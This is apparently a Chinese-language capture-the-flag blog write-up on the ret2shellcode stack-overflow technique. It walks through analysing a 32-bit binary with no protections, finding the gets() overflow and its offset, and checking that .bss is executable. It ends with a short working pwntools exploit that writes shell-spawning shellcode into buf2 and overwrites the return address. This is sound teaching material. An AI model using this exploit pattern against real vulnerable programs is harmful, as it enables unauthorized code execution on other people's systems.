PWN ret2shellcode

今天天气阴,来做一下ret2shellcode。 记录一下。

: )


0X00 ret2shellcode原理

ret2shellcode,就是,return to shellcode,即让程序中某个函数执行结束后,返回到shellcode的地址去执行shellcode。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。 ret2shellcode是栈溢出中一种简单而且常规的操作,当配合ROP等技术的使用后,非常有用。

在栈溢出的基础上,要想执行shellcode,需要对应的binary在运行时,shellcode所在区域具有可执行权限。

 

0X01 ret2shellcode

1、file、checksec、运行查看功能

PWN ret2shellcode_第1张图片

PWN ret2shellcode_第2张图片

PWN ret2shellcode_第3张图片

2、32位ELF,几乎没有开启任何保护。拽到IDA中看一下,同ret2text一样,存在gets()函数,存在溢出点

PWN ret2shellcode_第4张图片

3、确定栈溢出覆盖返回地址的位置:这个操作和ret2text中操作一样,cyclic 200生成200长度的patterm,在gdb中run并把patterm作为输入,触发异常, 然后再cyclic -l的到偏移量。

可能会有疑问,为什么cyclic -l 就是偏移量呢,可以观察cyclic patterm,生成的每4个字符都不同,所以最后看是哪4个字符覆盖了EIP,就可以知道偏移量。

PWN ret2shellcode_第5张图片

4、但是程序中没有使用system("/bin/sh"),所以可以尝试让程序跳转到我们的shellcode中,也就是说gets函数接收到的应该是我们构建好的shellcode。

我们看上面IDA中,gets()接收到的字符串,会拷给buf2,那么buf2在哪呢

.bss段通常是用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写,在程序执行之前.bss会自动清0。

5、我们把shellcode拷到buf2,来看看.bss段是否有执行权限。

gdb中,执行b main设置断点,run,执行vmmap查看是否有执行权限,X,可以执行。

之后,覆盖地址改为buf2地址即可。

vmmap:查看当前程序映射的内存块。

r:读                        w:写

x:执行                  p:私有

 

PWN ret2shellcode_第6张图片

6、写EXP

from pwn import *
p=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf2_addr=0x804a080
p.sendline(shellcode.ljust(112,'A')+p32(buf2_addr))
p.interactive()

PWN ret2shellcode_第7张图片

7、该题是ret2text的进阶。


root!

加油!继续。

你可能感兴趣的:(PWN)